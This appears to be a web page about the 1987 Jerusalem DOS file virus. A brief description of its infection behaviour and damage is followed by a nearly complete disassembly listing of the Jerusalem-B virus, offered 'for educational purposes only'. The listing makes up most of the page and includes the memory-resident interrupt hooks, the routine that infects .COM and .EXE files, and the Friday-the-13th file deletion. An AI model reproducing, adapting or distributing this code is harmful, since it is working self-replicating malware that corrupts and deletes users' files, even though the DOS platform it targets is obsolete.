0000:06AF 0000 ADD [BX+SI],AL
0000:06B1 0000 ADD [BX+SI],AL
0000:06B3 0000 ADD [BX+SI],AL
0000:06B5 0000 ADD [BX+SI],AL
0000:06B7 0000 ADD [BX+SI],AL
0000:06B9 0000 ADD [BX+SI],AL
0000:06BB 0000 ADD [BX+SI],AL
0000:06BD 0000 ADD [BX+SI],AL
0000:06BF 0000 ADD [BX+SI],AL
0000:06C1 0000 ADD [BX+SI],AL
0000:06C3 0000 ADD [BX+SI],AL
0000:06C5 0000 ADD [BX+SI],AL
0000:06C7 0000 ADD [BX+SI],AL
0000:06C9 0000 ADD [BX+SI],AL
0000:06CB 0000 ADD [BX+SI],AL
0000:06CD 0000 ADD [BX+SI],AL
0000:06CF 0000 ADD [BX+SI],AL
0000:06D1 0000 ADD [BX+SI],AL
0000:06D3 0000 ADD [BX+SI],AL
0000:06D5 0000 ADD [BX+SI],AL
0000:06D7 0000 ADD [BX+SI],AL
0000:06D9 005718 ADD [BX+018H],DL
0000:06DC 0825 OR [DI],AH
0000:06DE A5 MOVSW
0000:06DF FEC5 INC CH
0000:06E1 07 POP ES
0000:06E2 1E PUSH DS
0000:06E3 0210 ADD DL,[BX+SI]
0000:06E5 07 POP ES
0000:06E6 57 PUSH DI
0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
0000:06EB 0104 ADD [SI],AX
0000:06ED 7F70 JG X075F
0000:06EF 0010 ADD [BX+SI],DL
0000:06F1 07 POP ES
0000:06F2 1D001C SBB AX,01C00H
0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
0000:06F9 0C1B OR AL,01BH
0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
0000:06FF F24D REPNE DEC BP
0000:0701 360E PUSH CS
0000:0703 0300 ADD AX,[BX+SI]
0000:0705 0000 ADD [BX+SI],AL
0000:0707 00EE ADD DH,CH
0000:0709 002A X0709: ADD [BP+SI],CH
0000:070B 0F POP CS
0000:070C 42 INC DX
0000:070D 01C1 ADD CX,AX
0000:070F 0DB44C OR AX,04CB4H
0000:0712 B000 MOV AL,00H
0000:0714 CD21 X0714: INT 021H
0000:0716 4D DEC BP
0000:0717 7344 JAE X075D
0000:0719 6F73 JG X078E
Jerusalem is a DOS file virus first detected in Jerusalem, Israel, in October 1987.Jerusalem is a file infecting virus, which is the most popular among the file infecting viruses. Another fact which proves its popularity is the fact that has the largest no of variants among the viruses of its kind. Though one of the primitive viruses, Jerusalem family does not have a proper definition because of its large no of variants. Jerusalem was initially very common (for a virus of the day) and spawned a large number of variants. However, since the advent of Windows, these DOS interrupts are no longer used, so Jerusalem and its variants have become obsolete.
Infection techniques
On infection, the Jerusalem virus becomes memory resident (using 2kb of memory), and then infects every executable file run, except for COMMAND.COM. .COM files grow by 1,813 bytes when infected by Jerusalem and are not re-infected. .EXE files grow by 1,808 to 1,823 bytes each time they are infected. The virus re-infects .EXE files each time the files are loaded until they are too large to load into memory. Some .EXE files are infected but do not grow because several overlays follow the genuine .EXE file in the same file. Sometimes .EXE files are incorrectly infected, causing the program to fail to run as soon as it is executed.
Nature of Damage:
It affects system run-time operation and corrupts program files (generally .EXE &.COM).
Given below is the source code for Jerusalem-B virus. PLEASE DON’T MISUSE THIS CODE, DISTRIBUTED FOR EDUCATIONAL PURPOSES ONLY.
0000:0000 E99200 JMP X0095
0000:0003 7355 JAE X005A
0000:0005 4D DEC BP
0000:0006 7344 JAE X004C
0000:0008 6F73 JG X007D
0000:000A 0001 ADD [BX+DI],AL
0000:000C BD1700 MOV BP,0017H
0000:000F 0000 ADD [BX+SI],AL
0000:0011 06 PUSH ES
0000:0012 00A5FE00 ADD [DI+Y00FEH],AH
0000:0016 F016 LOCK PUSH SS
0000:0018 17 POP SS
0000:0019 7702 JA X001D
0000:001B BF053D MOV DI,03D05H
0000:001E 0CFB OR AL,0FBH
0000:0020 7D00 JGE X0022
0000:0022 0000 X0022: ADD [BX+SI],AL
0000:0024 0000 ADD [BX+SI],AL
0000:0026 0000 ADD [BX+SI],AL
0000:0028 0000 ADD [BX+SI],AL
0000:002A 0000 ADD [BX+SI],AL
0000:002C 0000 ADD [BX+SI],AL
0000:002E E8062A CALL X2A37
0000:0031 B10D MOV CL,0DH
0000:0033 800000 ADD BYTE PTR [BX+SI],00H
0000:0036 008000B1 ADD [BX+SI+Y0B100H],AL
0000:003A 0D5C00 OR AX,005CH
0000:003D B10D MOV CL,0DH
0000:003F 6C00 JL X0041
0000:0041 B10D X0041: MOV CL,0DH
0000:0043 0004 ADD [SI],AL
0000:0045 5F POP DI
0000:0046 0F POP CS
0000:0047 B400 MOV AH,00H
0000:0049 C1 RET ; INTRASEGMENT
0000:004A 0D00F0 X004A: OR AX,0F000H
0000:004D 06 PUSH ES
0000:004E 004D5A ADD [DI+05AH],CL
0000:0051 2000 AND [BX+SI],AL
0000:0053 1000 ADC [BX+SI],AL
0000:0055 1900 SBB [BX+SI],AX
0000:0057 0800 OR [BX+SI],AL
0000:0059 7500 JNZ X005B
0000:005B 7500 X005B: JNZ X005D
0000:005D 6901 X005D: JNS X0060
0000:005F 1007 ADC [BX],AL
0000:0061 8419 TEST BL,[BX+DI]
0000:0063 C500 LDS AX,[BX+SI]
0000:0065 6901 JNS X0068
0000:0067 1C00 SBB AL,00H
0000:0069 0000 ADD [BX+SI],AL
0000:006B 4C X006B: DEC SP
0000:006C B000 MOV AL,00H
0000:006E CD21 INT 021H
0000:0070 050020 ADD AX,02000H
0000:0073 0037 ADD [BX],DH
0000:0075 121C ADC BL,[SI]
0000:0077 0100 ADD [BX+SI],AX
0000:0079 0210 ADD DL,[BX+SI]
0000:007B 0010 ADD [BX+SI],DL
0000:007D 17 X007D: POP SS
0000:007E 0000 ADD [BX+SI],AL
0000:0080 53 PUSH BX
0000:0081 61E8 JNO X006B
0000:0083 38434F CMP [BP+DI+04FH],AL
0000:0086 4D DEC BP
0000:0087 4D DEC BP
0000:0088 41 INC CX
0000:0089 4E DEC SI
0000:008A 44 INC SP
0000:008B 2E43 INC BX
0000:008D 4F DEC DI
0000:008E 4D DEC BP
0000:008F 0100 ADD [BX+SI],AX
0000:0091 0000 ADD [BX+SI],AL
0000:0093 0000 ADD [BX+SI],AL
0000:0095 FC X0095: CLD
0000:0096 B4E0 MOV AH,0E0H
0000:0098 CD21 INT 021H
0000:009A 80FCE0 CMP AH,0E0H
0000:009D 7316 JAE X00B5
0000:009F 80FC03 CMP AH,03H
0000:00A2 7211 JB X00B5
0000:00A4 B4DD MOV AH,0DDH
0000:00A6 BF0001 MOV DI,0100H
0000:00A9 BE1007 MOV SI,0710H
0000:00AC 03F7 ADD SI,DI
0000:00AE 2E8B8D1100 MOV CX,CS:[DI+Y0011H]
0000:00B3 CD21 INT 021H
0000:00B5 8CC8 X00B5: MOV AX,CS
0000:00B7 051000 ADD AX,0010H
0000:00BA 8ED0 MOV SS,AX
0000:00BC BC0007 MOV SP,0700H
0000:00BF 50 PUSH AX
0000:00C0 B8C500 MOV AX,00C5H
0000:00C3 50 PUSH AX
0000:00C4 CB RET ; INTERSEGMENT
0000:00C5 FC X00C5: CLD
0000:00C6 06 PUSH ES
0000:00C7 2E8C063100 MOV CS:[Y0031H],ES
0000:00CC 2E8C063900 MOV CS:[Y0039H],ES
0000:00D1 2E8C063D00 MOV CS:[Y003DH],ES
0000:00D6 2E8C064100 MOV CS:[Y0041H],ES
0000:00DB 8CC0 MOV AX,ES
0000:00DD 051000 ADD AX,0010H
0000:00E0 2E01064900 ADD CS:[Y0049H],AX
0000:00E5 2E01064500 ADD CS:[Y0045H],AX
0000:00EA B4E0 MOV AH,0E0H
0000:00EC CD21 INT 021H
0000:00EE 80FCE0 CMP AH,0E0H
0000:00F1 7313 JAE X0106
0000:00F3 80FC03 CMP AH,03H
0000:00F6 07 POP ES
0000:00F7 2E8E164500 MOV SS,CS:[Y0045H]
0000:00FC 2E8B264300 MOV SP,CS:[Y0043H]
0000:0101 2EFF2E4700 JMP CS:[Y0047H]
0000:0106 33C0 X0106: XOR AX,AX
0000:0108 8EC0 MOV ES,AX
0000:010A 26A1FC03 MOV AX,ES:Y03FCH
0000:010E 2EA34B00 MOV CS:Y004BH,AX
0000:0112 26A0FE03 MOV AL,ES:Y03FEH
0000:0116 2EA24D00 MOV CS:Y004DH,AL
0000:011A 26C706FC03F3A5 MOV WORD PTR ES:[Y03FCH],0A5F3H
0000:0121 26C606FE03CB MOV BYTE PTR ES:[Y03FEH],0CBH
0000:0127 58 POP AX
0000:0128 051000 ADD AX,0010H
0000:012B 8EC0 MOV ES,AX
0000:012D 0E PUSH CS
0000:012E 1F POP DS
0000:012F B91007 MOV CX,0710H
0000:0132 D1E9 SHR CX,1
0000:0134 33F6 XOR SI,SI
0000:0136 8BFE MOV DI,SI
0000:0138 06 PUSH ES
0000:0139 B84201 MOV AX,0142H
0000:013C 50 PUSH AX
0000:013D EAFC030000 JMP X0000_03FC
0000:0142 8CC8 MOV AX,CS
0000:0144 8ED0 MOV SS,AX
0000:0146 BC0007 MOV SP,0700H
0000:0149 33C0 XOR AX,AX
0000:014B 8ED8 MOV DS,AX
0000:014D 2EA14B00 MOV AX,CS:Y004BH
0000:0151 A3FC03 MOV Y03FCH,AX
0000:0154 2EA04D00 MOV AL,CS:Y004DH
0000:0158 A2FE03 MOV Y03FEH,AL
0000:015B 8BDC MOV BX,SP
0000:015D B104 MOV CL,04H
0000:015F D3EB SHR BX,CL
0000:0161 83C310 ADD BX,0010H
0000:0164 2E891E3300 MOV CS:[Y0033H],BX
0000:0169 B44A MOV AH,04AH
0000:016B 2E8E063100 MOV ES,CS:[Y0031H]
0000:0170 CD21 INT 021H
0000:0172 B82135 MOV AX,03521H
0000:0175 CD21 INT 021H
0000:0177 2E891E1700 MOV CS:[Y0017H],BX
0000:017C 2E8C061900 MOV CS:[Y0019H],ES
0000:0181 0E PUSH CS
0000:0182 1F POP DS
0000:0183 BA5B02 MOV DX,025BH
0000:0186 B82125 MOV AX,02521H
0000:0189 CD21 INT 021H
0000:018B 8E063100 MOV ES,[Y0031H]
0000:018F 268E062C00 MOV ES,ES:[Y002CH]
0000:0194 33FF XOR DI,DI
0000:0196 B9FF7F MOV CX,07FFFH
0000:0199 32C0 XOR AL,AL
0000:019B F2AE X019B: REPNE SCASB
0000:019D 263805 CMP ES:[DI],AL
0000:01A0 E0F9 LOOPNZ X019B
0000:01A2 8BD7 MOV DX,DI
0000:01A4 83C203 ADD DX,0003H
0000:01A7 B8004B MOV AX,04B00H
0000:01AA 06 PUSH ES
0000:01AB 1F POP DS
0000:01AC 0E PUSH CS
0000:01AD 07 POP ES
0000:01AE BB3500 MOV BX,0035H
0000:01B1 1E PUSH DS
0000:01B2 06 PUSH ES
0000:01B3 50 PUSH AX
0000:01B4 53 PUSH BX
0000:01B5 51 PUSH CX
0000:01B6 52 PUSH DX
0000:01B7 B42A MOV AH,02AH
0000:01B9 CD21 INT 021H
0000:01BB 2EC6060E0000 MOV BYTE PTR CS:[Y000EH],00H
0000:01C1 81F9C307 CMP CX,07C3H
0000:01C5 7430 JZ X01F7
0000:01C7 3C05 CMP AL,05H
0000:01C9 750D JNZ X01D8
0000:01CB 80FA0D CMP DL,0DH
0000:01CE 7508 JNZ X01D8
0000:01D0 2EFE060E00 INC BYTE PTR CS:[Y000EH]
0000:01D5 EB20 JMP X01F7
0000:01D7 90 NOP
0000:01D8 B80835 X01D8: MOV AX,03508H
0000:01DB CD21 INT 021H
0000:01DD 2E891E1300 MOV CS:[Y0013H],BX
0000:01E2 2E8C061500 MOV CS:[Y0015H],ES
0000:01E7 0E PUSH CS
0000:01E8 1F POP DS
0000:01E9 C7061F00907E MOV WORD PTR [Y001FH],07E90H
0000:01EF B80825 MOV AX,02508H
0000:01F2 BA1E02 MOV DX,021EH
0000:01F5 CD21 INT 021H
0000:01F7 5A X01F7: POP DX
0000:01F8 59 POP CX
0000:01F9 5B POP BX
0000:01FA 58 POP AX
0000:01FB 07 POP ES
0000:01FC 1F POP DS
0000:01FD 9C PUSHF
0000:01FE 2EFF1E1700 CALL CS:[Y0017H]
0000:0203 1E PUSH DS
0000:0204 07 POP ES
0000:0205 B449 MOV AH,049H
0000:0207 CD21 INT 021H
0000:0209 B44D MOV AH,04DH
0000:020B CD21 INT 021H
0000:020D B431 MOV AH,031H
0000:020F BA0006 MOV DX,0600H
0000:0212 B104 MOV CL,04H
0000:0214 D3EA SHR DX,CL
0000:0216 83C210 ADD DX,0010H
0000:0219 CD21 INT 021H
0000:021B 32C0 XOR AL,AL
0000:021D CF IRET
0000:021E 2E833E1F0002 CMP WORD PTR CS:[Y001FH],0002H
0000:0224 7517 JNZ X023D
0000:0226 50 PUSH AX
0000:0227 53 PUSH BX
0000:0228 51 PUSH CX
0000:0229 52 PUSH DX
0000:022A 55 PUSH BP
0000:022B B80206 MOV AX,0602H
0000:022E B787 MOV BH,087H
0000:0230 B90505 MOV CX,0505H
0000:0233 BA1010 MOV DX,01010H
0000:0236 CD10 INT 010H
0000:0238 5D POP BP
0000:0239 5A POP DX
0000:023A 59 POP CX
0000:023B 5B POP BX
0000:023C 58 POP AX
0000:023D 2EFF0E1F00 X023D: DEC WORD PTR CS:[Y001FH]
0000:0242 7512 JNZ X0256
0000:0244 2EC7061F000100 MOV WORD PTR CS:[Y001FH],0001H
0000:024B 50 PUSH AX
0000:024C 51 PUSH CX
0000:024D 56 PUSH SI
0000:024E B90140 MOV CX,04001H
0000:0251 F3AC REPE LODSB
0000:0253 5E POP SI
0000:0254 59 POP CX
0000:0255 58 POP AX
0000:0256 2EFF2E1300 X0256: JMP CS:[Y0013H]
0000:025B 9C X025B: PUSHF
0000:025C 80FCE0 CMP AH,0E0H
0000:025F 7505 JNZ X0266
0000:0261 B80003 MOV AX,0300H
0000:0264 9D POPF
0000:0265 CF IRET
0000:0266 80FCDD X0266: CMP AH,0DDH
0000:0269 7413 JZ X027E
0000:026B 80FCDE CMP AH,0DEH
0000:026E 7428 JZ X0298
0000:0270 3D004B CMP AX,04B00H
0000:0273 7503 JNZ X0278
0000:0275 E9B400 JMP X032C
0000:0278 9D X0278: POPF
0000:0279 2EFF2E1700 JMP CS:[Y0017H]
0000:027E 58 X027E: POP AX
0000:027F 58 POP AX
0000:0280 B80001 MOV AX,0100H
0000:0283 2EA30A00 MOV CS:Y000AH,AX
0000:0287 58 POP AX
0000:0288 2EA30C00 MOV CS:Y000CH,AX
0000:028C F3A4 REPE MOVSB
0000:028E 9D POPF
0000:028F 2EA10F00 MOV AX,CS:Y000FH
0000:0293 2EFF2E0A00 JMP CS:[Y000AH]
0000:0298 83C406 X0298: ADD SP,0006H
0000:029B 9D POPF
0000:029C 8CC8 MOV AX,CS
0000:029E 8ED0 MOV SS,AX
0000:02A0 BC1007 MOV SP,0710H
0000:02A3 06 PUSH ES
0000:02A4 06 PUSH ES
0000:02A5 33FF XOR DI,DI
0000:02A7 0E PUSH CS
0000:02A8 07 POP ES
0000:02A9 B91000 MOV CX,0010H
0000:02AC 8BF3 MOV SI,BX
0000:02AE BF2100 MOV DI,0021H
0000:02B1 F3A4 REPE MOVSB
0000:02B3 8CD8 MOV AX,DS
0000:02B5 8EC0 MOV ES,AX
0000:02B7 2EF7267A00 MUL WORD PTR CS:[Y007AH]
0000:02BC 2E03062B00 ADD AX,CS:[Y002BH]
0000:02C1 83D200 ADC DX,0000H
0000:02C4 2EF7367A00 DIV WORD PTR CS:[Y007AH]
0000:02C9 8ED8 MOV DS,AX
0000:02CB 8BF2 MOV SI,DX
0000:02CD 8BFA MOV DI,DX
0000:02CF 8CC5 MOV BP,ES
0000:02D1 2E8B1E2F00 MOV BX,CS:[Y002FH]
0000:02D6 0BDB OR BX,BX
0000:02D8 7413 JZ X02ED
0000:02DA B90080 X02DA: MOV CX,08000H
0000:02DD F3A5 REPE MOVSW
0000:02DF 050010 ADD AX,01000H
0000:02E2 81C50010 ADD BP,01000H
0000:02E6 8ED8 MOV DS,AX
0000:02E8 8EC5 MOV ES,BP
0000:02EA 4B DEC BX
0000:02EB 75ED JNZ X02DA
0000:02ED 2E8B0E2D00 X02ED: MOV CX,CS:[Y002DH]
0000:02F2 F3A4 REPE MOVSB
0000:02F4 58 POP AX
0000:02F5 50 PUSH AX
0000:02F6 051000 ADD AX,0010H
0000:02F9 2E01062900 ADD CS:[Y0029H],AX
0000:02FE 2E01062500 ADD CS:[Y0025H],AX
0000:0303 2EA12100 MOV AX,CS:Y0021H
0000:0307 1F POP DS
0000:0308 07 POP ES
0000:0309 2E8E162900 MOV SS,CS:[Y0029H]
0000:030E 2E8B262700 MOV SP,CS:[Y0027H]
0000:0313 2EFF2E2300 JMP CS:[Y0023H]
0000:0318 33C9 X0318: XOR CX,CX
0000:031A B80143 MOV AX,04301H
0000:031D CD21 INT 021H
0000:031F B441 MOV AH,041H
0000:0321 CD21 INT 021H
0000:0323 B8004B MOV AX,04B00H
0000:0326 9D POPF
0000:0327 2EFF2E1700 JMP CS:[Y0017H]
0000:032C 2E803E0E0001 X032C: CMP BYTE PTR CS:[Y000EH],01H
0000:0332 74E4 JZ X0318
0000:0334 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:033B 2EC7068F000000 MOV WORD PTR CS:[Y008FH],0000H
0000:0342 2E89168000 MOV CS:[Y0080H],DX
0000:0347 2E8C1E8200 MOV CS:[Y0082H],DS
0000:034C 50 PUSH AX
0000:034D 53 PUSH BX
0000:034E 51 PUSH CX
0000:034F 52 PUSH DX
0000:0350 56 PUSH SI
0000:0351 57 PUSH DI
0000:0352 1E PUSH DS
0000:0353 06 PUSH ES
0000:0354 FC CLD
0000:0355 8BFA MOV DI,DX
0000:0357 32D2 XOR DL,DL
0000:0359 807D013A CMP BYTE PTR [DI+01H],03AH
0000:035D 7505 JNZ X0364
0000:035F 8A15 MOV DL,[DI]
0000:0361 80E21F AND DL,01FH
0000:0364 B436 X0364: MOV AH,036H
0000:0366 CD21 INT 021H
0000:0368 3DFFFF CMP AX,0FFFFH
0000:036B 7503 JNZ X0370
0000:036D E97702 X036D: JMP X05E7
0000:0370 F7E3 X0370: MUL BX
0000:0372 F7E1 MUL CX
0000:0374 0BD2 OR DX,DX
0000:0376 7505 JNZ X037D
0000:0378 3D1007 CMP AX,0710H
0000:037B 72F0 JB X036D
0000:037D 2E8B168000 X037D: MOV DX,CS:[Y0080H]
0000:0382 1E PUSH DS
0000:0383 07 POP ES
0000:0384 32C0 XOR AL,AL
0000:0386 B94100 MOV CX,0041H
0000:0389 F2AE REPNE SCASB
0000:038B 2E8B368000 MOV SI,CS:[Y0080H]
0000:0390 8A04 X0390: MOV AL,[SI]
0000:0392 0AC0 OR AL,AL
0000:0394 740E JZ X03A4
0000:0396 3C61 CMP AL,061H
0000:0398 7207 JB X03A1
0000:039A 3C7A CMP AL,07AH
0000:039C 7703 JA X03A1
0000:039E 802C20 SUB BYTE PTR [SI],020H
0000:03A1 46 X03A1: INC SI
0000:03A2 EBEC JMP X0390
0000:03A4 B90B00 X03A4: MOV CX,000BH
0000:03A7 2BF1 SUB SI,CX
0000:03A9 BF8400 MOV DI,0084H
0000:03AC 0E PUSH CS
0000:03AD 07 POP ES
0000:03AE B90B00 MOV CX,000BH
0000:03B1 F3A6 REPE CMPSB
0000:03B3 7503 JNZ X03B8
0000:03B5 E92F02 JMP X05E7
0000:03B8 B80043 X03B8: MOV AX,04300H
0000:03BB CD21 INT 021H
0000:03BD 7205 JB X03C4
0000:03BF 2E890E7200 MOV CS:[Y0072H],CX
0000:03C4 7225 X03C4: JB X03EB
0000:03C6 32C0 XOR AL,AL
0000:03C8 2EA24E00 MOV CS:Y004EH,AL
0000:03CC 1E PUSH DS
0000:03CD 07 POP ES
0000:03CE 8BFA MOV DI,DX
0000:03D0 B94100 MOV CX,0041H
0000:03D3 F2AE REPNE SCASB
0000:03D5 807DFE4D CMP BYTE PTR [DI-02H],04DH
0000:03D9 740B JZ X03E6
0000:03DB 807DFE6D CMP BYTE PTR [DI-02H],06DH
0000:03DF 7405 JZ X03E6
0000:03E1 2EFE064E00 INC BYTE PTR CS:[Y004EH]
0000:03E6 B8003D X03E6: MOV AX,03D00H
0000:03E9 CD21 INT 021H
0000:03EB 725A X03EB: JB X0447
0000:03ED 2EA37000 MOV CS:Y0070H,AX
0000:03F1 8BD8 MOV BX,AX
0000:03F3 B80242 MOV AX,04202H
0000:03F6 B9FFFF MOV CX,0FFFFH
0000:03F9 BAFBFF MOV DX,0FFFBH
0000:03FC CD21 X03FC: INT 021H
0000:03FE 72EB JB X03EB
0000:0400 050500 ADD AX,0005H
0000:0403 2EA31100 MOV CS:Y0011H,AX
0000:0407 B90500 MOV CX,0005H
0000:040A BA6B00 MOV DX,006BH
0000:040D 8CC8 MOV AX,CS
0000:040F 8ED8 MOV DS,AX
0000:0411 8EC0 MOV ES,AX
0000:0413 B43F MOV AH,03FH
0000:0415 CD21 INT 021H
0000:0417 8BFA MOV DI,DX
0000:0419 BE0500 MOV SI,0005H
0000:041C F3A6 REPE CMPSB
0000:041E 7507 JNZ X0427
0000:0420 B43E MOV AH,03EH
0000:0422 CD21 INT 021H
0000:0424 E9C001 JMP X05E7
0000:0427 B82435 X0427: MOV AX,03524H
0000:042A CD21 INT 021H
0000:042C 891E1B00 MOV [Y001BH],BX
0000:0430 8C061D00 MOV [Y001DH],ES
0000:0434 BA1B02 MOV DX,021BH
0000:0437 B82425 MOV AX,02524H
0000:043A CD21 INT 021H
0000:043C C5168000 LDS DX,[Y0080H]
0000:0440 33C9 XOR CX,CX
0000:0442 B80143 MOV AX,04301H
0000:0445 CD21 INT 021H
0000:0447 723B X0447: JB X0484
0000:0449 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:044E B43E MOV AH,03EH
0000:0450 CD21 INT 021H
0000:0452 2EC7067000FFFF MOV WORD PTR CS:[Y0070H],0FFFFH
0000:0459 B8023D MOV AX,03D02H
0000:045C CD21 INT 021H
0000:045E 7224 JB X0484
0000:0460 2EA37000 MOV CS:Y0070H,AX
0000:0464 8CC8 MOV AX,CS
0000:0466 8ED8 MOV DS,AX
0000:0468 8EC0 MOV ES,AX
0000:046A 8B1E7000 MOV BX,[Y0070H]
0000:046E B80057 MOV AX,05700H
0000:0471 CD21 INT 021H
0000:0473 89167400 MOV [Y0074H],DX
0000:0477 890E7600 MOV [Y0076H],CX
0000:047B B80042 MOV AX,04200H
0000:047E 33C9 XOR CX,CX
0000:0480 8BD1 MOV DX,CX
0000:0482 CD21 INT 021H
0000:0484 723D X0484: JB X04C3
0000:0486 803E4E0000 CMP BYTE PTR [Y004EH],00H
0000:048B 7403 JZ X0490
0000:048D EB57 JMP X04E6
0000:048F 90 NOP
0000:0490 BB0010 X0490: MOV BX,01000H
0000:0493 B448 MOV AH,048H
0000:0495 CD21 INT 021H
0000:0497 730B JAE X04A4
0000:0499 B43E MOV AH,03EH
0000:049B 8B1E7000 MOV BX,[Y0070H]
0000:049F CD21 INT 021H
0000:04A1 E94301 JMP X05E7
0000:04A4 FF068F00 X04A4: INC WORD PTR [Y008FH]
0000:04A8 8EC0 MOV ES,AX
0000:04AA 33F6 XOR SI,SI
0000:04AC 8BFE MOV DI,SI
0000:04AE B91007 MOV CX,0710H
0000:04B1 F3A4 REPE MOVSB
0000:04B3 8BD7 MOV DX,DI
0000:04B5 8B0E1100 MOV CX,[Y0011H]
0000:04B9 8B1E7000 MOV BX,[Y0070H]
0000:04BD 06 PUSH ES
0000:04BE 1F POP DS
0000:04BF B43F MOV AH,03FH
0000:04C1 CD21 INT 021H
0000:04C3 721C X04C3: JB X04E1
0000:04C5 03F9 ADD DI,CX
0000:04C7 33C9 XOR CX,CX
0000:04C9 8BD1 MOV DX,CX
0000:04CB B80042 MOV AX,04200H
0000:04CE CD21 INT 021H
0000:04D0 BE0500 MOV SI,0005H
0000:04D3 B90500 MOV CX,0005H
0000:04D6 F32EA4 REPE MOVS ES:BYTE PTR (DI),CS:BYTE PT
R (SI)
0000:04D9 8BCF MOV CX,DI
0000:04DB 33D2 XOR DX,DX
0000:04DD B440 MOV AH,040H
0000:04DF CD21 INT 021H
0000:04E1 720D X04E1: JB X04F0
0000:04E3 E9BC00 JMP X05A2
0000:04E6 B91C00 X04E6: MOV CX,001CH
0000:04E9 BA4F00 MOV DX,004FH
0000:04EC B43F MOV AH,03FH
0000:04EE CD21 INT 021H
0000:04F0 724A X04F0: JB X053C
0000:04F2 C70661008419 MOV WORD PTR [Y0061H],01984H
0000:04F8 A15D00 MOV AX,Y005DH
0000:04FB A34500 MOV Y0045H,AX
0000:04FE A15F00 MOV AX,Y005FH
0000:0501 A34300 MOV Y0043H,AX
0000:0504 A16300 MOV AX,Y0063H
0000:0507 A34700 MOV Y0047H,AX
0000:050A A16500 MOV AX,Y0065H
0000:050D A34900 MOV Y0049H,AX
0000:0510 A15300 MOV AX,Y0053H
0000:0513 833E510000 CMP WORD PTR [Y0051H],0000H
0000:0518 7401 JZ X051B
0000:051A 48 DEC AX
0000:051B F7267800 X051B: MUL WORD PTR [Y0078H]
0000:051F 03065100 ADD AX,[Y0051H]
0000:0523 83D200 ADC DX,0000H
0000:0526 050F00 ADD AX,000FH
0000:0529 83D200 ADC DX,0000H
0000:052C 25F0FF AND AX,0FFF0H
0000:052F A37C00 MOV Y007CH,AX
0000:0532 89167E00 MOV [Y007EH],DX
0000:0536 051007 ADD AX,0710H
0000:0539 83D200 ADC DX,0000H
0000:053C 723A X053C: JB X0578
0000:053E F7367800 DIV WORD PTR [Y0078H]
0000:0542 0BD2 OR DX,DX
0000:0544 7401 JZ X0547
0000:0546 40 INC AX
0000:0547 A35300 X0547: MOV Y0053H,AX
0000:054A 89165100 MOV [Y0051H],DX
0000:054E A17C00 MOV AX,Y007CH
0000:0551 8B167E00 MOV DX,[Y007EH]
0000:0555 F7367A00 DIV WORD PTR [Y007AH]
0000:0559 2B065700 SUB AX,[Y0057H]
0000:055D A36500 MOV Y0065H,AX
0000:0560 C7066300C500 MOV WORD PTR [Y0063H],00C5H
0000:0566 A35D00 MOV Y005DH,AX
0000:0569 C7065F001007 MOV WORD PTR [Y005FH],0710H
0000:056F 33C9 XOR CX,CX
0000:0571 8BD1 MOV DX,CX
0000:0573 B80042 MOV AX,04200H
0000:0576 CD21 INT 021H
0000:0578 720A X0578: JB X0584
0000:057A B91C00 MOV CX,001CH
0000:057D BA4F00 MOV DX,004FH
0000:0580 B440 MOV AH,040H
0000:0582 CD21 INT 021H
0000:0584 7211 X0584: JB X0597
0000:0586 3BC1 CMP AX,CX
0000:0588 7518 JNZ X05A2
0000:058A 8B167C00 MOV DX,[Y007CH]
0000:058E 8B0E7E00 MOV CX,[Y007EH]
0000:0592 B80042 MOV AX,04200H
0000:0595 CD21 INT 021H
0000:0597 7209 X0597: JB X05A2
0000:0599 33D2 XOR DX,DX
0000:059B B91007 MOV CX,0710H
0000:059E B440 MOV AH,040H
0000:05A0 CD21 INT 021H
0000:05A2 2E833E8F0000 X05A2: CMP WORD PTR CS:[Y008FH],0000H
0000:05A8 7404 JZ X05AE
0000:05AA B449 MOV AH,049H
0000:05AC CD21 INT 021H
0000:05AE 2E833E7000FF X05AE: CMP WORD PTR CS:[Y0070H],0FFFFH
0000:05B4 7431 JZ X05E7
0000:05B6 2E8B1E7000 MOV BX,CS:[Y0070H]
0000:05BB 2E8B167400 MOV DX,CS:[Y0074H]
0000:05C0 2E8B0E7600 MOV CX,CS:[Y0076H]
0000:05C5 B80157 MOV AX,05701H
0000:05C8 CD21 INT 021H
0000:05CA B43E MOV AH,03EH
0000:05CC CD21 INT 021H
0000:05CE 2EC5168000 LDS DX,CS:[Y0080H]
0000:05D3 2E8B0E7200 MOV CX,CS:[Y0072H]
0000:05D8 B80143 MOV AX,04301H
0000:05DB CD21 INT 021H
0000:05DD 2EC5161B00 LDS DX,CS:[Y001BH]
0000:05E2 B82425 MOV AX,02524H
0000:05E5 CD21 INT 021H
0000:05E7 07 X05E7: POP ES
0000:05E8 1F POP DS
0000:05E9 5F POP DI
0000:05EA 5E POP SI
0000:05EB 5A POP DX
0000:05EC 59 POP CX
0000:05ED 5B POP BX
0000:05EE 58 POP AX
0000:05EF 9D POPF
0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
0000:05F5 0000 X05F5: ADD [BX+SI],AL
0000:05F7 0000 ADD [BX+SI],AL
0000:05F9 0000 ADD [BX+SI],AL
0000:05FB 0000 ADD [BX+SI],AL
0000:05FD 0000 ADD [BX+SI],AL
0000:05FF 004D00 ADD [DI+00H],CL
0000:0602 000F ADD [BX],CL
0000:0604 0000 ADD [BX+SI],AL
0000:0606 0000 ADD [BX+SI],AL
0000:0608 0000 ADD [BX+SI],AL
0000:060A 0000 ADD [BX+SI],AL
0000:060C 0000 ADD [BX+SI],AL
0000:060E 0000 ADD [BX+SI],AL
0000:0610 CD20 INT 020H
0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
0000:0619 F02F LOCK DAS
0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
0000:0623 048E ADD AL,08EH
0000:0625 1E PUSH DS
0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
0000:062A FFFF ??? DI
0000:062C FFFF ??? DI
0000:062E FFFF ??? DI
0000:0630 FFFF ??? DI
0000:0632 FFFF ??? DI
0000:0634 FFFF ??? DI
0000:0636 FFFF ??? DI
0000:0638 FFFF ??? DI
0000:063A FFFF ??? DI
0000:063C 7C1F JL X065D
0000:063E DE3E8D29 ESC 037H,[Y0298DH]
0000:0642 1400 ADC AL,00H
